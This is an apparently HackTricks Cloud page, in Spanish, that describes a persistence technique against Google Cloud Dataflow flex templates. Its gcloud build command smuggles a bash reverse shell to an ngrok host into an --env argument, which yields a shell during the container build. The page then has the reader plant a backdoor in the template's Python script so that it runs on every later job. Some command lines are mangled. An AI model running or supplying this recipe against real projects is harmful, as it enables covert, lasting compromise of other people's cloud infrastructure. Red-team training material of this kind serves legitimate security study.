GCP - Dataflow Persistence
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Dataflow
Persistencia invisible en el contenedor construido
Siguiendo el tutorial de la documentación puedes crear una nueva (p. ej. python) flex template:
Crear Dataflow flex template with backdoor
```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_startedCreate repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY
Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1
</details>
**Mientras se está construyendo, obtendrás un reverse shell** (puedes abusar de las env variables como en el ejemplo anterior u otros parámetros que hacen que el Docker file ejecute cosas arbitrarias). En ese momento, dentro del reverse shell, es posible **ir al directorio `/template` y modificar el código del script principal en python que se ejecutará (en nuestro ejemplo este es `getting_started.py`)**. Coloca tu backdoor aquí para que cada vez que se ejecute el job, se ejecute.
Entonces, la próxima vez que se ejecute el job, se ejecutará el contenedor comprometido que se ha construido:
<details>
<summary>Ejecutar la plantilla de Dataflow</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

